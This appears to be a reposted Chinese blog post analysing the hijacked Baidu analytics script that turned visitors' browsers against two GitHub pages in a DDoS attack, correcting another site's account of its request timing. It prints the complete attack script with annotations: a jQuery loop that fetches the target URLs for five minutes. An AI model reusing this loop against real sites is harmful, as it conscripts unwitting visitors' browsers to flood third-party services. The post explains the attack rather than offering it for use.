百度统计js被劫持用来DDOS Github的JS注释

前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。

就分析了下JS的执行,发现乌云解析的地方说错了。

技术分享

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。

我看了下代码的意思是:

第一次请求,延迟2秒钟请求。

然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。

从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。

你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。

以下为JS的详解(JS很烂,求板砖):

 1 document.write("<script src=‘http://libs.baidu.com/jquery/2.0.0/jquery.min.js‘>\x3c/script>");    //加载jQuery
 2 !window.jQuery && document.write("<script src=‘http://code.jquery.com/jquery-latest.js‘>\x3c/script>");    //判断windows.jQuery有没有被定义,没有就再加载JQuery
 3 startime = (new Date).getTime();    //获取当前时间戳,毫秒(最初执行时间)
 4 var count = 0;    //总请求次数
 5 
 6 function unixtime() {    //获取一个时间戳
 7 var a = new Date;
 8 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
 9 }
10 
11 url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];    //定义要请求的URL
12 NUM = url_array.length;    //  获取URL数组长度,两个URL
13 
14 function r_send2() {
15 var a = unixtime() % NUM;    //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
16 get(url_array[a])    //带入URL进入GET函数
17 }
18 
19 function get(a) {    //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
20 var b;    //请求时间差
21 $.ajax({    
22 url: a,    //请求的URL
23 dataType: "script",    //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
24 timeout: 1E4,    //1e4=10000,设置请求超时时间
25 cache: !0,    //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
26 beforeSend: function() {    //发送请求前可修改 XMLHttpRequest 对象的函数
27 requestTime = (new Date).getTime()    //获取当前时间戳,毫秒(请求开始的时间)
28 },
29 complete: function() {    //请求完成后回调函数
30 responseTime = (new Date).getTime();    //获取当前时间戳,毫秒(请求完成的时间)
31 b = Math.floor(responseTime - requestTime);    //请求时间差,网络响应慢后面就请求慢了~
32 3E5 > responseTime - startime && (r_send(b), count += 1)    //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
33 }
34 })
35 }
36 
37 function r_send(a) {
38 setTimeout("r_send2()", a)    //等待a毫秒以后执行r_send2()
39 }
40 setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
41 // PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
42 // PS: 并不是每两秒钟执行一次请求

 

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。